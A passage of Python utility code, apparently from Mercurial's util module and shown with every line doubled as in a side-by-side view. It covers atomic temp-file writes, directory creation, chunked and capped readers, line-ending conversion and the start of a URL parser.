2428 S[n].mtime", even if size of a file isn't changed.
2428 S[n].mtime", even if size of a file isn't changed.
2429 """
2429 """
2430 try:
2430 try:
2431 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2431 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2432 except AttributeError:
2432 except AttributeError:
2433 return False
2433 return False
2434
2434
2435 def avoidambig(self, path, old):
2435 def avoidambig(self, path, old):
2436 """Change file stat of specified path to avoid ambiguity
2436 """Change file stat of specified path to avoid ambiguity
2437
2437
2438 'old' should be previous filestat of 'path'.
2438 'old' should be previous filestat of 'path'.
2439
2439
2440 This skips avoiding ambiguity, if a process doesn't have
2440 This skips avoiding ambiguity, if a process doesn't have
2441 appropriate privileges for 'path'. This returns False in this
2441 appropriate privileges for 'path'. This returns False in this
2442 case.
2442 case.
2443
2443
2444 Otherwise, this returns True, as "ambiguity is avoided".
2444 Otherwise, this returns True, as "ambiguity is avoided".
2445 """
2445 """
2446 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2446 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2447 try:
2447 try:
2448 os.utime(path, (advanced, advanced))
2448 os.utime(path, (advanced, advanced))
2449 except OSError as inst:
2449 except OSError as inst:
2450 if inst.errno == errno.EPERM:
2450 if inst.errno == errno.EPERM:
2451 # utime() on the file created by another user causes EPERM,
2451 # utime() on the file created by another user causes EPERM,
2452 # if a process doesn't have appropriate privileges
2452 # if a process doesn't have appropriate privileges
2453 return False
2453 return False
2454 raise
2454 raise
2455 return True
2455 return True
2456
2456
2457 def __ne__(self, other):
2457 def __ne__(self, other):
2458 return not self == other
2458 return not self == other
2459
2459
2460
2460
2461 class atomictempfile(object):
2461 class atomictempfile(object):
2462 """writable file object that atomically updates a file
2462 """writable file object that atomically updates a file
2463
2463
2464 All writes will go to a temporary copy of the original file. Call
2464 All writes will go to a temporary copy of the original file. Call
2465 close() when you are done writing, and atomictempfile will rename
2465 close() when you are done writing, and atomictempfile will rename
2466 the temporary copy to the original name, making the changes
2466 the temporary copy to the original name, making the changes
2467 visible. If the object is destroyed without being closed, all your
2467 visible. If the object is destroyed without being closed, all your
2468 writes are discarded.
2468 writes are discarded.
2469
2469
2470 checkambig argument of constructor is used with filestat, and is
2470 checkambig argument of constructor is used with filestat, and is
2471 useful only if target file is guarded by any lock (e.g. repo.lock
2471 useful only if target file is guarded by any lock (e.g. repo.lock
2472 or repo.wlock).
2472 or repo.wlock).
2473 """
2473 """
2474
2474
2475 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2475 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2476 self.__name = name # permanent name
2476 self.__name = name # permanent name
2477 self._tempname = mktempcopy(
2477 self._tempname = mktempcopy(
2478 name,
2478 name,
2479 emptyok=(b'w' in mode),
2479 emptyok=(b'w' in mode),
2480 createmode=createmode,
2480 createmode=createmode,
2481 enforcewritable=(b'w' in mode),
2481 enforcewritable=(b'w' in mode),
2482 )
2482 )
2483
2483
2484 self._fp = posixfile(self._tempname, mode)
2484 self._fp = posixfile(self._tempname, mode)
2485 self._checkambig = checkambig
2485 self._checkambig = checkambig
2486
2486
2487 # delegated methods
2487 # delegated methods
2488 self.read = self._fp.read
2488 self.read = self._fp.read
2489 self.write = self._fp.write
2489 self.write = self._fp.write
2490 self.seek = self._fp.seek
2490 self.seek = self._fp.seek
2491 self.tell = self._fp.tell
2491 self.tell = self._fp.tell
2492 self.fileno = self._fp.fileno
2492 self.fileno = self._fp.fileno
2493
2493
2494 def close(self):
2494 def close(self):
2495 if not self._fp.closed:
2495 if not self._fp.closed:
2496 self._fp.close()
2496 self._fp.close()
2497 filename = localpath(self.__name)
2497 filename = localpath(self.__name)
2498 oldstat = self._checkambig and filestat.frompath(filename)
2498 oldstat = self._checkambig and filestat.frompath(filename)
2499 if oldstat and oldstat.stat:
2499 if oldstat and oldstat.stat:
2500 rename(self._tempname, filename)
2500 rename(self._tempname, filename)
2501 newstat = filestat.frompath(filename)
2501 newstat = filestat.frompath(filename)
2502 if newstat.isambig(oldstat):
2502 if newstat.isambig(oldstat):
2503 # stat of changed file is ambiguous to original one
2503 # stat of changed file is ambiguous to original one
2504 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2504 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2505 os.utime(filename, (advanced, advanced))
2505 os.utime(filename, (advanced, advanced))
2506 else:
2506 else:
2507 rename(self._tempname, filename)
2507 rename(self._tempname, filename)
2508
2508
2509 def discard(self):
2509 def discard(self):
2510 if not self._fp.closed:
2510 if not self._fp.closed:
2511 try:
2511 try:
2512 os.unlink(self._tempname)
2512 os.unlink(self._tempname)
2513 except OSError:
2513 except OSError:
2514 pass
2514 pass
2515 self._fp.close()
2515 self._fp.close()
2516
2516
2517 def __del__(self):
2517 def __del__(self):
2518 if safehasattr(self, '_fp'): # constructor actually did something
2518 if safehasattr(self, '_fp'): # constructor actually did something
2519 self.discard()
2519 self.discard()
2520
2520
2521 def __enter__(self):
2521 def __enter__(self):
2522 return self
2522 return self
2523
2523
2524 def __exit__(self, exctype, excvalue, traceback):
2524 def __exit__(self, exctype, excvalue, traceback):
2525 if exctype is not None:
2525 if exctype is not None:
2526 self.discard()
2526 self.discard()
2527 else:
2527 else:
2528 self.close()
2528 self.close()
2529
2529
2530
2530
2531 def unlinkpath(f, ignoremissing=False, rmdir=True):
2531 def unlinkpath(f, ignoremissing=False, rmdir=True):
2532 """unlink and remove the directory if it is empty"""
2532 """unlink and remove the directory if it is empty"""
2533 if ignoremissing:
2533 if ignoremissing:
2534 tryunlink(f)
2534 tryunlink(f)
2535 else:
2535 else:
2536 unlink(f)
2536 unlink(f)
2537 if rmdir:
2537 if rmdir:
2538 # try removing directories that might now be empty
2538 # try removing directories that might now be empty
2539 try:
2539 try:
2540 removedirs(os.path.dirname(f))
2540 removedirs(os.path.dirname(f))
2541 except OSError:
2541 except OSError:
2542 pass
2542 pass
2543
2543
2544
2544
2545 def tryunlink(f):
2545 def tryunlink(f):
2546 """Attempt to remove a file, ignoring ENOENT errors."""
2546 """Attempt to remove a file, ignoring ENOENT errors."""
2547 try:
2547 try:
2548 unlink(f)
2548 unlink(f)
2549 except OSError as e:
2549 except OSError as e:
2550 if e.errno != errno.ENOENT:
2550 if e.errno != errno.ENOENT:
2551 raise
2551 raise
2552
2552
2553
2553
2554 def makedirs(name, mode=None, notindexed=False):
2554 def makedirs(name, mode=None, notindexed=False):
2555 """recursive directory creation with parent mode inheritance
2555 """recursive directory creation with parent mode inheritance
2556
2556
2557 Newly created directories are marked as "not to be indexed by
2557 Newly created directories are marked as "not to be indexed by
2558 the content indexing service", if ``notindexed`` is specified
2558 the content indexing service", if ``notindexed`` is specified
2559 for "write" mode access.
2559 for "write" mode access.
2560 """
2560 """
2561 try:
2561 try:
2562 makedir(name, notindexed)
2562 makedir(name, notindexed)
2563 except OSError as err:
2563 except OSError as err:
2564 if err.errno == errno.EEXIST:
2564 if err.errno == errno.EEXIST:
2565 return
2565 return
2566 if err.errno != errno.ENOENT or not name:
2566 if err.errno != errno.ENOENT or not name:
2567 raise
2567 raise
2568 parent = os.path.dirname(os.path.abspath(name))
2568 parent = os.path.dirname(os.path.abspath(name))
2569 if parent == name:
2569 if parent == name:
2570 raise
2570 raise
2571 makedirs(parent, mode, notindexed)
2571 makedirs(parent, mode, notindexed)
2572 try:
2572 try:
2573 makedir(name, notindexed)
2573 makedir(name, notindexed)
2574 except OSError as err:
2574 except OSError as err:
2575 # Catch EEXIST to handle races
2575 # Catch EEXIST to handle races
2576 if err.errno == errno.EEXIST:
2576 if err.errno == errno.EEXIST:
2577 return
2577 return
2578 raise
2578 raise
2579 if mode is not None:
2579 if mode is not None:
2580 os.chmod(name, mode)
2580 os.chmod(name, mode)
2581
2581
2582
2582
2583 def readfile(path):
2583 def readfile(path):
2584 with open(path, b'rb') as fp:
2584 with open(path, b'rb') as fp:
2585 return fp.read()
2585 return fp.read()
2586
2586
2587
2587
2588 def writefile(path, text):
2588 def writefile(path, text):
2589 with open(path, b'wb') as fp:
2589 with open(path, b'wb') as fp:
2590 fp.write(text)
2590 fp.write(text)
2591
2591
2592
2592
2593 def appendfile(path, text):
2593 def appendfile(path, text):
2594 with open(path, b'ab') as fp:
2594 with open(path, b'ab') as fp:
2595 fp.write(text)
2595 fp.write(text)
2596
2596
2597
2597
2598 class chunkbuffer(object):
2598 class chunkbuffer(object):
2599 """Allow arbitrary sized chunks of data to be efficiently read from an
2599 """Allow arbitrary sized chunks of data to be efficiently read from an
2600 iterator over chunks of arbitrary size."""
2600 iterator over chunks of arbitrary size."""
2601
2601
2602 def __init__(self, in_iter):
2602 def __init__(self, in_iter):
2603 """in_iter is the iterator that's iterating over the input chunks."""
2603 """in_iter is the iterator that's iterating over the input chunks."""
2604
2604
2605 def splitbig(chunks):
2605 def splitbig(chunks):
2606 for chunk in chunks:
2606 for chunk in chunks:
2607 if len(chunk) > 2 ** 20:
2607 if len(chunk) > 2 ** 20:
2608 pos = 0
2608 pos = 0
2609 while pos < len(chunk):
2609 while pos < len(chunk):
2610 end = pos + 2 ** 18
2610 end = pos + 2 ** 18
2611 yield chunk[pos:end]
2611 yield chunk[pos:end]
2612 pos = end
2612 pos = end
2613 else:
2613 else:
2614 yield chunk
2614 yield chunk
2615
2615
2616 self.iter = splitbig(in_iter)
2616 self.iter = splitbig(in_iter)
2617 self._queue = collections.deque()
2617 self._queue = collections.deque()
2618 self._chunkoffset = 0
2618 self._chunkoffset = 0
2619
2619
2620 def read(self, l=None):
2620 def read(self, l=None):
2621 """Read L bytes of data from the iterator of chunks of data.
2621 """Read L bytes of data from the iterator of chunks of data.
2622 Returns less than L bytes if the iterator runs dry.
2622 Returns less than L bytes if the iterator runs dry.
2623
2623
2624 If size parameter is omitted, read everything"""
2624 If size parameter is omitted, read everything"""
2625 if l is None:
2625 if l is None:
2626 return b''.join(self.iter)
2626 return b''.join(self.iter)
2627
2627
2628 left = l
2628 left = l
2629 buf = []
2629 buf = []
2630 queue = self._queue
2630 queue = self._queue
2631 while left > 0:
2631 while left > 0:
2632 # refill the queue
2632 # refill the queue
2633 if not queue:
2633 if not queue:
2634 target = 2 ** 18
2634 target = 2 ** 18
2635 for chunk in self.iter:
2635 for chunk in self.iter:
2636 queue.append(chunk)
2636 queue.append(chunk)
2637 target -= len(chunk)
2637 target -= len(chunk)
2638 if target <= 0:
2638 if target <= 0:
2639 break
2639 break
2640 if not queue:
2640 if not queue:
2641 break
2641 break
2642
2642
2643 # The easy way to do this would be to queue.popleft(), modify the
2643 # The easy way to do this would be to queue.popleft(), modify the
2644 # chunk (if necessary), then queue.appendleft(). However, for cases
2644 # chunk (if necessary), then queue.appendleft(). However, for cases
2645 # where we read partial chunk content, this incurs 2 dequeue
2645 # where we read partial chunk content, this incurs 2 dequeue
2646 # mutations and creates a new str for the remaining chunk in the
2646 # mutations and creates a new str for the remaining chunk in the
2647 # queue. Our code below avoids this overhead.
2647 # queue. Our code below avoids this overhead.
2648
2648
2649 chunk = queue[0]
2649 chunk = queue[0]
2650 chunkl = len(chunk)
2650 chunkl = len(chunk)
2651 offset = self._chunkoffset
2651 offset = self._chunkoffset
2652
2652
2653 # Use full chunk.
2653 # Use full chunk.
2654 if offset == 0 and left >= chunkl:
2654 if offset == 0 and left >= chunkl:
2655 left -= chunkl
2655 left -= chunkl
2656 queue.popleft()
2656 queue.popleft()
2657 buf.append(chunk)
2657 buf.append(chunk)
2658 # self._chunkoffset remains at 0.
2658 # self._chunkoffset remains at 0.
2659 continue
2659 continue
2660
2660
2661 chunkremaining = chunkl - offset
2661 chunkremaining = chunkl - offset
2662
2662
2663 # Use all of unconsumed part of chunk.
2663 # Use all of unconsumed part of chunk.
2664 if left >= chunkremaining:
2664 if left >= chunkremaining:
2665 left -= chunkremaining
2665 left -= chunkremaining
2666 queue.popleft()
2666 queue.popleft()
2667 # offset == 0 is enabled by block above, so this won't merely
2667 # offset == 0 is enabled by block above, so this won't merely
2668 # copy via ``chunk[0:]``.
2668 # copy via ``chunk[0:]``.
2669 buf.append(chunk[offset:])
2669 buf.append(chunk[offset:])
2670 self._chunkoffset = 0
2670 self._chunkoffset = 0
2671
2671
2672 # Partial chunk needed.
2672 # Partial chunk needed.
2673 else:
2673 else:
2674 buf.append(chunk[offset : offset + left])
2674 buf.append(chunk[offset : offset + left])
2675 self._chunkoffset += left
2675 self._chunkoffset += left
2676 left -= chunkremaining
2676 left -= chunkremaining
2677
2677
2678 return b''.join(buf)
2678 return b''.join(buf)
2679
2679
2680
2680
2681 def filechunkiter(f, size=131072, limit=None):
2681 def filechunkiter(f, size=131072, limit=None):
2682 """Create a generator that produces the data in the file size
2682 """Create a generator that produces the data in the file size
2683 (default 131072) bytes at a time, up to optional limit (default is
2683 (default 131072) bytes at a time, up to optional limit (default is
2684 to read all data). Chunks may be less than size bytes if the
2684 to read all data). Chunks may be less than size bytes if the
2685 chunk is the last chunk in the file, or the file is a socket or
2685 chunk is the last chunk in the file, or the file is a socket or
2686 some other type of file that sometimes reads less data than is
2686 some other type of file that sometimes reads less data than is
2687 requested."""
2687 requested."""
2688 assert size >= 0
2688 assert size >= 0
2689 assert limit is None or limit >= 0
2689 assert limit is None or limit >= 0
2690 while True:
2690 while True:
2691 if limit is None:
2691 if limit is None:
2692 nbytes = size
2692 nbytes = size
2693 else:
2693 else:
2694 nbytes = min(limit, size)
2694 nbytes = min(limit, size)
2695 s = nbytes and f.read(nbytes)
2695 s = nbytes and f.read(nbytes)
2696 if not s:
2696 if not s:
2697 break
2697 break
2698 if limit:
2698 if limit:
2699 limit -= len(s)
2699 limit -= len(s)
2700 yield s
2700 yield s
2701
2701
2702
2702
2703 class cappedreader(object):
2703 class cappedreader(object):
2704 """A file object proxy that allows reading up to N bytes.
2704 """A file object proxy that allows reading up to N bytes.
2705
2705
2706 Given a source file object, instances of this type allow reading up to
2706 Given a source file object, instances of this type allow reading up to
2707 N bytes from that source file object. Attempts to read past the allowed
2707 N bytes from that source file object. Attempts to read past the allowed
2708 limit are treated as EOF.
2708 limit are treated as EOF.
2709
2709
2710 It is assumed that I/O is not performed on the original file object
2710 It is assumed that I/O is not performed on the original file object
2711 in addition to I/O that is performed by this instance. If there is,
2711 in addition to I/O that is performed by this instance. If there is,
2712 state tracking will get out of sync and unexpected results will ensue.
2712 state tracking will get out of sync and unexpected results will ensue.
2713 """
2713 """
2714
2714
2715 def __init__(self, fh, limit):
2715 def __init__(self, fh, limit):
2716 """Allow reading up to <limit> bytes from <fh>."""
2716 """Allow reading up to <limit> bytes from <fh>."""
2717 self._fh = fh
2717 self._fh = fh
2718 self._left = limit
2718 self._left = limit
2719
2719
2720 def read(self, n=-1):
2720 def read(self, n=-1):
2721 if not self._left:
2721 if not self._left:
2722 return b''
2722 return b''
2723
2723
2724 if n < 0:
2724 if n < 0:
2725 n = self._left
2725 n = self._left
2726
2726
2727 data = self._fh.read(min(n, self._left))
2727 data = self._fh.read(min(n, self._left))
2728 self._left -= len(data)
2728 self._left -= len(data)
2729 assert self._left >= 0
2729 assert self._left >= 0
2730
2730
2731 return data
2731 return data
2732
2732
2733 def readinto(self, b):
2733 def readinto(self, b):
2734 res = self.read(len(b))
2734 res = self.read(len(b))
2735 if res is None:
2735 if res is None:
2736 return None
2736 return None
2737
2737
2738 b[0 : len(res)] = res
2738 b[0 : len(res)] = res
2739 return len(res)
2739 return len(res)
2740
2740
2741
2741
2742 def unitcountfn(*unittable):
2742 def unitcountfn(*unittable):
2743 '''return a function that renders a readable count of some quantity'''
2743 '''return a function that renders a readable count of some quantity'''
2744
2744
2745 def go(count):
2745 def go(count):
2746 for multiplier, divisor, format in unittable:
2746 for multiplier, divisor, format in unittable:
2747 if abs(count) >= divisor * multiplier:
2747 if abs(count) >= divisor * multiplier:
2748 return format % (count / float(divisor))
2748 return format % (count / float(divisor))
2749 return unittable[-1][2] % count
2749 return unittable[-1][2] % count
2750
2750
2751 return go
2751 return go
2752
2752
2753
2753
2754 def processlinerange(fromline, toline):
2754 def processlinerange(fromline, toline):
2755 """Check that linerange <fromline>:<toline> makes sense and return a
2755 """Check that linerange <fromline>:<toline> makes sense and return a
2756 0-based range.
2756 0-based range.
2757
2757
2758 >>> processlinerange(10, 20)
2758 >>> processlinerange(10, 20)
2759 (9, 20)
2759 (9, 20)
2760 >>> processlinerange(2, 1)
2760 >>> processlinerange(2, 1)
2761 Traceback (most recent call last):
2761 Traceback (most recent call last):
2762 ...
2762 ...
2763 ParseError: line range must be positive
2763 ParseError: line range must be positive
2764 >>> processlinerange(0, 5)
2764 >>> processlinerange(0, 5)
2765 Traceback (most recent call last):
2765 Traceback (most recent call last):
2766 ...
2766 ...
2767 ParseError: fromline must be strictly positive
2767 ParseError: fromline must be strictly positive
2768 """
2768 """
2769 if toline - fromline < 0:
2769 if toline - fromline < 0:
2770 raise error.ParseError(_(b"line range must be positive"))
2770 raise error.ParseError(_(b"line range must be positive"))
2771 if fromline < 1:
2771 if fromline < 1:
2772 raise error.ParseError(_(b"fromline must be strictly positive"))
2772 raise error.ParseError(_(b"fromline must be strictly positive"))
2773 return fromline - 1, toline
2773 return fromline - 1, toline
2774
2774
2775
2775
2776 bytecount = unitcountfn(
2776 bytecount = unitcountfn(
2777 (100, 1 << 30, _(b'%.0f GB')),
2777 (100, 1 << 30, _(b'%.0f GB')),
2778 (10, 1 << 30, _(b'%.1f GB')),
2778 (10, 1 << 30, _(b'%.1f GB')),
2779 (1, 1 << 30, _(b'%.2f GB')),
2779 (1, 1 << 30, _(b'%.2f GB')),
2780 (100, 1 << 20, _(b'%.0f MB')),
2780 (100, 1 << 20, _(b'%.0f MB')),
2781 (10, 1 << 20, _(b'%.1f MB')),
2781 (10, 1 << 20, _(b'%.1f MB')),
2782 (1, 1 << 20, _(b'%.2f MB')),
2782 (1, 1 << 20, _(b'%.2f MB')),
2783 (100, 1 << 10, _(b'%.0f KB')),
2783 (100, 1 << 10, _(b'%.0f KB')),
2784 (10, 1 << 10, _(b'%.1f KB')),
2784 (10, 1 << 10, _(b'%.1f KB')),
2785 (1, 1 << 10, _(b'%.2f KB')),
2785 (1, 1 << 10, _(b'%.2f KB')),
2786 (1, 1, _(b'%.0f bytes')),
2786 (1, 1, _(b'%.0f bytes')),
2787 )
2787 )
2788
2788
2789
2789
2790 class transformingwriter(object):
2790 class transformingwriter(object):
2791 """Writable file wrapper to transform data by function"""
2791 """Writable file wrapper to transform data by function"""
2792
2792
2793 def __init__(self, fp, encode):
2793 def __init__(self, fp, encode):
2794 self._fp = fp
2794 self._fp = fp
2795 self._encode = encode
2795 self._encode = encode
2796
2796
2797 def close(self):
2797 def close(self):
2798 self._fp.close()
2798 self._fp.close()
2799
2799
2800 def flush(self):
2800 def flush(self):
2801 self._fp.flush()
2801 self._fp.flush()
2802
2802
2803 def write(self, data):
2803 def write(self, data):
2804 return self._fp.write(self._encode(data))
2804 return self._fp.write(self._encode(data))
2805
2805
2806
2806
2807 # Matches a single EOL which can either be a CRLF where repeated CR
2807 # Matches a single EOL which can either be a CRLF where repeated CR
2808 # are removed or a LF. We do not care about old Macintosh files, so a
2808 # are removed or a LF. We do not care about old Macintosh files, so a
2809 # stray CR is an error.
2809 # stray CR is an error.
2810 _eolre = remod.compile(br'\r*\n')
2810 _eolre = remod.compile(br'\r*\n')
2811
2811
2812
2812
2813 def tolf(s):
2813 def tolf(s):
2814 return _eolre.sub(b'\n', s)
2814 return _eolre.sub(b'\n', s)
2815
2815
2816
2816
2817 def tocrlf(s):
2817 def tocrlf(s):
2818 return _eolre.sub(b'\r\n', s)
2818 return _eolre.sub(b'\r\n', s)
2819
2819
2820
2820
2821 def _crlfwriter(fp):
2821 def _crlfwriter(fp):
2822 return transformingwriter(fp, tocrlf)
2822 return transformingwriter(fp, tocrlf)
2823
2823
2824
2824
2825 if pycompat.oslinesep == b'\r\n':
2825 if pycompat.oslinesep == b'\r\n':
2826 tonativeeol = tocrlf
2826 tonativeeol = tocrlf
2827 fromnativeeol = tolf
2827 fromnativeeol = tolf
2828 nativeeolwriter = _crlfwriter
2828 nativeeolwriter = _crlfwriter
2829 else:
2829 else:
2830 tonativeeol = pycompat.identity
2830 tonativeeol = pycompat.identity
2831 fromnativeeol = pycompat.identity
2831 fromnativeeol = pycompat.identity
2832 nativeeolwriter = pycompat.identity
2832 nativeeolwriter = pycompat.identity
2833
2833
2834 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2834 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2835 3,
2835 3,
2836 0,
2836 0,
2837 ):
2837 ):
2838 # There is an issue in CPython that some IO methods do not handle EINTR
2838 # There is an issue in CPython that some IO methods do not handle EINTR
2839 # correctly. The following table shows what CPython version (and functions)
2839 # correctly. The following table shows what CPython version (and functions)
2840 # are affected (buggy: has the EINTR bug, okay: otherwise):
2840 # are affected (buggy: has the EINTR bug, okay: otherwise):
2841 #
2841 #
2842 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2842 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2843 # --------------------------------------------------
2843 # --------------------------------------------------
2844 # fp.__iter__ | buggy | buggy | okay
2844 # fp.__iter__ | buggy | buggy | okay
2845 # fp.read* | buggy | okay [1] | okay
2845 # fp.read* | buggy | okay [1] | okay
2846 #
2846 #
2847 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2847 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2848 #
2848 #
2849 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2849 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2850 # like "read*" work fine, as we do not support Python < 2.7.4.
2850 # like "read*" work fine, as we do not support Python < 2.7.4.
2851 #
2851 #
2852 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2852 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2853 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2853 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2854 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2854 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2855 # fp.__iter__ but not other fp.read* methods.
2855 # fp.__iter__ but not other fp.read* methods.
2856 #
2856 #
2857 # On modern systems like Linux, the "read" syscall cannot be interrupted
2857 # On modern systems like Linux, the "read" syscall cannot be interrupted
2858 # when reading "fast" files like on-disk files. So the EINTR issue only
2858 # when reading "fast" files like on-disk files. So the EINTR issue only
2859 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2859 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2860 # files approximately as "fast" files and use the fast (unsafe) code path,
2860 # files approximately as "fast" files and use the fast (unsafe) code path,
2861 # to minimize the performance impact.
2861 # to minimize the performance impact.
2862
2862
2863 def iterfile(fp):
2863 def iterfile(fp):
2864 fastpath = True
2864 fastpath = True
2865 if type(fp) is file:
2865 if type(fp) is file:
2866 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2866 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2867 if fastpath:
2867 if fastpath:
2868 return fp
2868 return fp
2869 else:
2869 else:
2870 # fp.readline deals with EINTR correctly, use it as a workaround.
2870 # fp.readline deals with EINTR correctly, use it as a workaround.
2871 return iter(fp.readline, b'')
2871 return iter(fp.readline, b'')
2872
2872
2873
2873
2874 else:
2874 else:
2875 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2875 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2876 def iterfile(fp):
2876 def iterfile(fp):
2877 return fp
2877 return fp
2878
2878
2879
2879
2880 def iterlines(iterator):
2880 def iterlines(iterator):
2881 for chunk in iterator:
2881 for chunk in iterator:
2882 for line in chunk.splitlines():
2882 for line in chunk.splitlines():
2883 yield line
2883 yield line
2884
2884
2885
2885
2886 def expandpath(path):
2886 def expandpath(path):
2887 return os.path.expanduser(os.path.expandvars(path))
2887 return os.path.expanduser(os.path.expandvars(path))
2888
2888
2889
2889
2890 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2890 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2891 """Return the result of interpolating items in the mapping into string s.
2891 """Return the result of interpolating items in the mapping into string s.
2892
2892
2893 prefix is a single character string, or a two character string with
2893 prefix is a single character string, or a two character string with
2894 a backslash as the first character if the prefix needs to be escaped in
2894 a backslash as the first character if the prefix needs to be escaped in
2895 a regular expression.
2895 a regular expression.
2896
2896
2897 fn is an optional function that will be applied to the replacement text
2897 fn is an optional function that will be applied to the replacement text
2898 just before replacement.
2898 just before replacement.
2899
2899
2900 escape_prefix is an optional flag that allows using doubled prefix for
2900 escape_prefix is an optional flag that allows using doubled prefix for
2901 its escaping.
2901 its escaping.
2902 """
2902 """
2903 fn = fn or (lambda s: s)
2903 fn = fn or (lambda s: s)
2904 patterns = b'|'.join(mapping.keys())
2904 patterns = b'|'.join(mapping.keys())
2905 if escape_prefix:
2905 if escape_prefix:
2906 patterns += b'|' + prefix
2906 patterns += b'|' + prefix
2907 if len(prefix) > 1:
2907 if len(prefix) > 1:
2908 prefix_char = prefix[1:]
2908 prefix_char = prefix[1:]
2909 else:
2909 else:
2910 prefix_char = prefix
2910 prefix_char = prefix
2911 mapping[prefix_char] = prefix_char
2911 mapping[prefix_char] = prefix_char
2912 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2912 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2913 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2913 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2914
2914
2915
2915
2916 def getport(port):
2916 def getport(port):
2917 """Return the port for a given network service.
2917 """Return the port for a given network service.
2918
2918
2919 If port is an integer, it's returned as is. If it's a string, it's
2919 If port is an integer, it's returned as is. If it's a string, it's
2920 looked up using socket.getservbyname(). If there's no matching
2920 looked up using socket.getservbyname(). If there's no matching
2921 service, error.Abort is raised.
2921 service, error.Abort is raised.
2922 """
2922 """
2923 try:
2923 try:
2924 return int(port)
2924 return int(port)
2925 except ValueError:
2925 except ValueError:
2926 pass
2926 pass
2927
2927
2928 try:
2928 try:
2929 return socket.getservbyname(pycompat.sysstr(port))
2929 return socket.getservbyname(pycompat.sysstr(port))
2930 except socket.error:
2930 except socket.error:
2931 raise error.Abort(
2931 raise error.Abort(
2932 _(b"no port number associated with service '%s'") % port
2932 _(b"no port number associated with service '%s'") % port
2933 )
2933 )
2934
2934
2935
2935
2936 class url(object):
2936 class url(object):
2937 r"""Reliable URL parser.
2937 r"""Reliable URL parser.
2938
2938
2939 This parses URLs and provides attributes for the following
2939 This parses URLs and provides attributes for the following
2940 components:
2940 components:
2941
2941
2942 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2942 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2943
2943
2944 Missing components are set to None. The only exception is
2944 Missing components are set to None. The only exception is
2945 fragment, which is set to '' if present but empty.
2945 fragment, which is set to '' if present but empty.
2946
2946
2947 If parsefragment is False, fragment is included in query. If
2947 If parsefragment is False, fragment is included in query. If
2948 parsequery is False, query is included in path. If both are
2948 parsequery is False, query is included in path. If both are
2949 False, both fragment and query are included in path.
2949 False, both fragment and query are included in path.
2950
2950
2951 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2951 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2952
2952
2953 Note that for backward compatibility reasons, bundle URLs do not
2953 Note that for backward compatibility reasons, bundle URLs do not
2954 take host names. That means 'bundle://../' has a path of '../'.
2954 take host names. That means 'bundle://../' has a path of '../'.
2955
2955
2956 Examples:
2956 Examples:
2957
2957
2958 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2958 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2959 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2959 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2960 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2960 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2961 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2961 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2962 >>> url(b'file:///home/joe/repo')
2962 >>> url(b'file:///home/joe/repo')
2963 <url scheme: 'file', path: '/home/joe/repo'>
2963 <url scheme: 'file', path: '/home/joe/repo'>
2964 >>> url(b'file:///c:/temp/foo/')
2964 >>> url(b'file:///c:/temp/foo/')
2965 <url scheme: 'file', path: 'c:/temp/foo/'>
2965 <url scheme: 'file', path: 'c:/temp/foo/'>
2966 >>> url(b'bundle:foo')
2966 >>> url(b'bundle:foo')
2967 <url scheme: 'bundle', path: 'foo'>
2967 <url scheme: 'bundle', path: 'foo'>
2968 >>> url(b'bundle://../foo')
2968 >>> url(b'bundle://../foo')
2969 <url scheme: 'bundle', path: '../foo'>
2969 <url scheme: 'bundle', path: '../foo'>
2970 >>> url(br'c:\foo\bar')
2970 >>> url(br'c:\foo\bar')
2971 <url path: 'c:\\foo\\bar'>
2971 <url path: 'c:\\foo\\bar'>
2972 >>> url(br'\\blah\blah\blah')
2972 >>> url(br'\\blah\blah\blah')
2973 <url path: '\\\\blah\\blah\\blah'>
2973 <url path: '\\\\blah\\blah\\blah'>
2974 >>> url(br'\\blah\blah\blah#baz')
